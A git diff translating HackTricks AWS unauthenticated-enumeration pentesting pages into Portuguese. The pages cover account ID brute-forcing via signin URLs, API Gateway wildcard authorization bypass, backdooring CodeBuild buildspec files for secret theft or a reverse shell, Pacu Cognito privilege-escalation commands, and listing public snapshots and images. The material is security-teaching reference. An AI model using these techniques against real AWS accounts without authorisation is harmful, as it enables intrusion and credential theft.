[**Acesso Não Autenticado do IoT**](aws-iot-unauthenticated-enum.md) +- [**Acesso Não Autenticado do Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md) +- [**Acesso Não Autenticado de Mídia**](aws-media-unauthenticated-enum.md) +- [**Acesso Não Autenticado do MQ**](aws-mq-unauthenticated-enum.md) +- [**Acesso Não Autenticado do MSK**](aws-msk-unauthenticated-enum.md) +- [**Acesso Não Autenticado do RDS**](aws-rds-unauthenticated-enum.md) +- [**Acesso Não Autenticado do Redshift**](aws-redshift-unauthenticated-enum.md) +- [**Acesso Não Autenticado do SQS**](aws-sqs-unauthenticated-enum.md) +- [**Acesso Não Autenticado do S3**](aws-s3-unauthenticated-enum.md) -## Cross Account Attacks +## Ataques entre Contas -In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed. +Na palestra [**Quebrando a Isolação: Vulnerabilidades entre Contas AWS**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) é apresentado como alguns serviços permitiram que qualquer conta AWS acessasse-os porque **serviços AWS sem especificar IDs de contas** foram permitidos. -During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**: +Durante a palestra, eles especificam vários exemplos, como buckets S3 **permitindo cloudtrail** (de **qualquer conta AWS**) **escrever neles**: ![](<../../../images/image (260).png>) -Other services found vulnerable: +Outros serviços encontrados vulneráveis: - AWS Config -- Serverless repository +- Repositório Serverless -## Tools +## Ferramentas -- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.) +- [**cloud_enum**](https://github.com/initstring/cloud_enum): Ferramenta OSINT multi-nuvem. **Encontre recursos públicos** na AWS, Azure e Google Cloud. Serviços AWS suportados: Buckets S3 Abertos / Protegidos, awsapps (WorkMail, WorkDocs, Connect, etc.) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md index 84c70ed0e..1b36ab468 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md @@ -2,14 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Account IDs +## IDs de Conta -If you have a target there are ways to try to identify account IDs of accounts related to the target. +Se você tiver um alvo, existem maneiras de tentar identificar os IDs de conta de contas relacionadas ao alvo. -### Brute-Force - -You create a list of potential account IDs and aliases and check them +### Força Bruta +Você cria uma lista de IDs de conta e aliases potenciais e os verifica. ```bash # Check if an account ID exists curl -v https://.signin.aws.amazon.com @@ -17,33 +16,28 @@ curl -v https://.signin.aws.amazon.com ## It also works from account aliases curl -v https://vodafone-uk2.signin.aws.amazon.com ``` - -You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). +Você pode [automatizar esse processo com esta ferramenta](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). ### OSINT -Look for urls that contains `.signin.aws.amazon.com` with an **alias related to the organization**. +Procure por URLs que contenham `.signin.aws.amazon.com` com um **alias relacionado à organização**. ### Marketplace -If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used. +Se um vendedor tiver **instâncias no marketplace,** você pode obter o id do proprietário (id da conta) da conta AWS que ele usou. ### Snapshots -- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) -- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) -- Public AMIs (EC2 -> AMIs -> Public images) +- Snapshots públicos do EBS (EC2 -> Snapshots -> Public Snapshots) +- Snapshots públicos do RDS (RDS -> Snapshots -> All Public Snapshots) +- AMIs públicas (EC2 -> AMIs -> Public images) -### Errors +### Erros -Many AWS error messages (even access denied) will give that information. +Muitas mensagens de erro da AWS (mesmo acesso negado) fornecerão essa informação. -## References +## Referências - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md index 5a69bebe0..8c6bf191b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md @@ -1,60 +1,52 @@ -# AWS - API Gateway Unauthenticated Enum +# AWS - Enumeração Não Autenticada do API Gateway {{#include ../../../banners/hacktricks-training.md}} -### API Invoke bypass - -According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +### Bypass de Invocação da API +De acordo com a palestra [Vetores de Ataque para APIs Usando AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), os Lambda Authorizers podem ser configurados **usando a sintaxe IAM** para conceder permissões para invocar endpoints da API. Isso é retirado [**da documentação**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Permission", - "Action": ["execute-api:Execution-operation"], - "Resource": [ - "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" - ] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] } ``` +O problema com essa forma de conceder permissões para invocar endpoints é que o **"\*" implica "qualquer coisa"** e **não há mais sintaxe regex suportada**. -The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. +Alguns exemplos: -Some examples: - -- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example. +- Uma regra como `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` para dar a cada usuário acesso a `/dashboard/user/{username}` dará a eles acesso a outras rotas, como `/admin/dashboard/createAdmin`, por exemplo. > [!WARNING] -> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\ -> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. +> Note que **"\*" não para de se expandir com barras**, portanto, se você usar "\*" em api-id, por exemplo, isso também pode indicar "qualquer estágio" ou "qualquer método", desde que a regex final ainda seja válida.\ +> Assim, `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Pode validar uma solicitação POST para o estágio de teste no caminho `/prod/GET/dashboard/admin`, por exemplo. -You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted. +Você deve sempre ter claro o que deseja permitir o acesso e, em seguida, verificar se outros cenários são possíveis com as permissões concedidas. -For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). +Para mais informações, além da [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), você pode encontrar código para implementar autorizadores na [**este github oficial da aws**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). -### IAM Policy Injection +### Injeção de Política IAM -In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. - -### Public URL template +Na mesma [**palestra**](https://www.youtube.com/watch?v=bsPKk7WDOnE), é exposto o fato de que, se o código estiver usando **entrada do usuário** para **gerar as políticas IAM**, curingas (e outros, como "." ou strings específicas) podem ser incluídos com o objetivo de **contornar restrições**. +### Modelo de URL Pública ``` https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} ``` +### Obter ID da Conta a partir da URL pública do API Gateway -### Get Account ID from public API Gateway URL +Assim como com buckets S3, Data Exchange e URLs de Lambda, é possível encontrar o ID da conta de uma conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do API Gateway. Isso é feito encontrando o ID da conta um caractere de cada vez, abusando de curingas na seção **`aws:ResourceAccount`** da política.\ +Essa técnica também permite obter **valores de tags** se você souber a chave da tag (existem algumas interessantes por padrão). -Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\ -This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones). - -You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. +Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md index 0284e2514..b09fa4597 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Modelo de URL pública ``` https://{random_id}.cloudfront.net ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md index d95410a62..c038c741e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md @@ -1,10 +1,10 @@ -# AWS - CodeBuild Unauthenticated Access +# AWS - Acesso Não Autenticado ao CodeBuild {{#include ../../../banners/hacktricks-training.md}} ## CodeBuild -For more info check this page: +Para mais informações, consulte esta página: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,28 +12,22 @@ For more info check this page: ### buildspec.yml -If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**. +Se você comprometer o acesso de escrita a um repositório contendo um arquivo chamado **`buildspec.yml`**, você poderia **backdoor** este arquivo, que especifica os **comandos que serão executados** dentro de um projeto CodeBuild e exfiltrar os segredos, comprometer o que é feito e também comprometer as **credenciais do papel IAM do CodeBuild**. -Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example. +Observe que mesmo que não haja nenhum arquivo **`buildspec.yml`**, mas você saiba que o Codebuild está sendo usado (ou um CI/CD diferente), **modificar algum código legítimo** que será executado também pode te dar um shell reverso, por exemplo. -For some related information you could check the page about how to attack Github Actions (similar to this): +Para algumas informações relacionadas, você pode consultar a página sobre como atacar o Github Actions (semelhante a isso): {{#ref}} ../../../pentesting-ci-cd/github-security/abusing-github-actions/ {{#endref}} -## Self-hosted GitHub Actions runners in AWS CodeBuild - -As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this: +## Runners do GitHub Actions auto-hospedados no AWS CodeBuild +Como [**indicado na documentação**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), é possível configurar o **CodeBuild** para executar **ações do Github auto-hospedadas** quando um fluxo de trabalho é acionado dentro de um repositório Github configurado. Isso pode ser detectado verificando a configuração do projeto CodeBuild, pois o **`Tipo de evento`** precisa conter: **`WORKFLOW_JOB_QUEUED`** e em um Fluxo de Trabalho do Github, porque ele selecionará um runner **auto-hospedado** assim: ```bash runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} ``` - -This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached. +Esta nova relação entre Github Actions e AWS cria outra maneira de comprometer a AWS a partir do Github, já que o código no Github será executado em um projeto CodeBuild com um papel IAM anexado. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md index 6f26f3a34..29b8f416e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md @@ -2,51 +2,43 @@ {{#include ../../../banners/hacktricks-training.md}} -## Unauthenticated Cognito +## Cognito Não Autenticado -Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**. +Cognito é um serviço da AWS que permite que desenvolvedores **concedam acesso aos serviços da AWS** para os usuários de seus aplicativos. Os desenvolvedores concederão **funções IAM a usuários autenticados** em seu aplicativo (potencialmente pessoas poderão apenas se inscrever) e também podem conceder uma **função IAM a usuários não autenticados**. -For basic info about Cognito check: +Para informações básicas sobre o Cognito, consulte: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Identity Pool ID +### ID do Pool de Identidade -Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\ -Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges. +Pools de Identidade podem conceder **funções IAM a usuários não autenticados** que apenas **conhecem o ID do Pool de Identidade** (o que é bastante comum de **encontrar**), e um atacante com essa informação poderia tentar **acessar essa função IAM** e explorá-la.\ +Além disso, funções IAM também podem ser atribuídas a **usuários autenticados** que acessam o Pool de Identidade. Se um atacante puder **registrar um usuário** ou já tiver **acesso ao provedor de identidade** usado no pool de identidade, ele poderá acessar a **função IAM concedida a usuários autenticados** e abusar de seus privilégios. -[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**Verifique como fazer isso aqui**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). -### User Pool ID +### ID do Pool de Usuários -By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Por padrão, o Cognito permite **registrar novos usuários**. Ser capaz de registrar um usuário pode lhe dar **acesso** ao **aplicativo subjacente** ou à **função IAM de acesso autenticado de um Pool de Identidade** que está aceitando como provedor de identidade o Pool de Usuários do Cognito. [**Verifique como fazer isso aqui**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). -### Pacu modules for pentesting and enumeration +### Módulos Pacu para pentesting e enumeração -[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +[Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. +Para uma descrição das funções dos módulos, consulte a parte 2 do [post do blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, consulte a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu). -#### Usage - -Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Uso +Exemplo de uso do `cognito__attack` para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, clientes de grupos de usuários, grupos de identidade, usuários, etc. visíveis na conta AWS atual: ```bash Pacu (new:test) > run cognito__enum ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md index 004a92c2b..7a384005e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md @@ -2,14 +2,8 @@ {{#include ../../../banners/hacktricks-training.md}} -### Public URL template - +### Modelo de URL pública ``` .cluster-..docdb.amazonaws.com ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index e9e7fa8e4..051fa6980 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -1,19 +1,15 @@ -# AWS - DynamoDB Unauthenticated Access +# AWS - Acesso Não Autenticado ao DynamoDB {{#include ../../../banners/hacktricks-training.md}} ## Dynamo DB -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB. +Além de dar acesso a todas as contas AWS ou a alguma conta AWS externa comprometida, ou ter algumas injeções SQL em uma aplicação que se comunica com o DynamoDB, não conheço mais opções para acessar contas AWS a partir do DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 657bf7f3a..8b61497ce 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,18 +1,18 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 Enum Não Autenticado {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Related Services +## EC2 e Serviços Relacionados -Check in this page more information about this: +Verifique nesta página mais informações sobre isso: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Public Ports +### Portas Públicas -It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. +É possível expor **qualquer porta das máquinas virtuais para a internet**. Dependendo de **o que está rodando** na porta exposta, um atacante pode abusar disso. #### SSRF @@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet** https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Public AMIs & EBS Snapshots - -AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: +### AMIs Públicas e Snapshots EBS +AWS permite **dar acesso a qualquer um para baixar AMIs e Snapshots**. Você pode listar esses recursos muito facilmente a partir da sua própria conta: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` +Se você encontrar um snapshot que pode ser restaurado por qualquer pessoa, certifique-se de verificar [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) para obter instruções sobre como baixar e saquear o snapshot. -If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot. - -#### Public URL template - +#### Modelo de URL pública ```bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com @@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` - -### Enumerate EC2 instances with public IP - +### Enumerar instâncias EC2 com IP público ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 2febbed62..5b7b06904 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -1,38 +1,30 @@ -# AWS - ECR Unauthenticated Enum +# AWS - ECR Enum Não Autenticado {{#include ../../../banners/hacktricks-training.md}} ## ECR -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Public registry repositories (images) - -As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws//`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image. +### Repositórios de registro público (imagens) +Como mencionado na seção Enum do ECS, um registro público é **acessível por qualquer pessoa** e usa o formato **`public.ecr.aws//`**. Se um URL de repositório público for localizado por um atacante, ele poderia **baixar a imagem e procurar por informações sensíveis** nos metadados e no conteúdo da imagem. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` - > [!WARNING] -> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo. +> Isso também pode acontecer em **registros privados** onde uma política de registro ou uma política de repositório está **concedendo acesso, por exemplo, a `"AWS": "*"`**. Qualquer pessoa com uma conta AWS poderia acessar esse repositório. -### Enumerate Private Repo - -The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry. +### Enumerar Repositório Privado +As ferramentas [**skopeo**](https://github.com/containers/skopeo) e [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) podem ser usadas para listar repositórios acessíveis dentro de um registro privado. ```bash # Get image names skopeo list-tags docker:// | grep -oP '(?<=^Name: ).+' crane ls | sed 's/ .*//' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 8d0b02ba2..04cfe8151 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,19 +1,18 @@ -# AWS - ECS Unauthenticated Enum +# AWS - ECS Enum Não Autenticado {{#include ../../../banners/hacktricks-training.md}} ## ECS -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Publicly Accessible Security Group or Load Balancer for ECS Services - -A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks. +### Grupo de Segurança ou Balanceador de Carga Acessível Publicamente para Serviços ECS +Um grupo de segurança mal configurado que **permite tráfego de entrada da internet (0.0.0.0/0 ou ::/0)** para os serviços Amazon ECS pode expor os recursos da AWS a ataques. ```bash # Example of detecting misconfigured security group for ECS services aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]' @@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain # Example of detecting a publicly accessible load balancer for ECS services aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 3a73a7328..0f6e16d0f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -4,38 +4,32 @@ ## Elastic Beanstalk -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Web vulnerability +### Vulnerabilidade na Web -Note that by default Beanstalk environments have the **Metadatav1 disabled**. +Observe que, por padrão, os ambientes do Beanstalk têm o **Metadatav1 desativado**. -The format of the Beanstalk web pages is **`https://-env..elasticbeanstalk.com/`** +O formato das páginas da web do Beanstalk é **`https://-env..elasticbeanstalk.com/`** -### Insecure Security Group Rules +### Regras de Grupo de Segurança Inseguras -Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**. +Regras de grupo de segurança mal configuradas podem expor instâncias do Elastic Beanstalk ao público. **Regras de entrada excessivamente permissivas, como permitir tráfego de qualquer endereço IP (0.0.0.0/0) em portas sensíveis, podem permitir que atacantes acessem a instância**. -### Publicly Accessible Load Balancer +### Balanceador de Carga Acessível Publicamente -If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments. +Se um ambiente do Elastic Beanstalk usar um balanceador de carga e o balanceador de carga estiver configurado para ser acessível publicamente, os atacantes podem **enviar solicitações diretamente para o balanceador de carga**. Embora isso possa não ser um problema para aplicativos da web destinados a serem acessíveis publicamente, pode ser um problema para 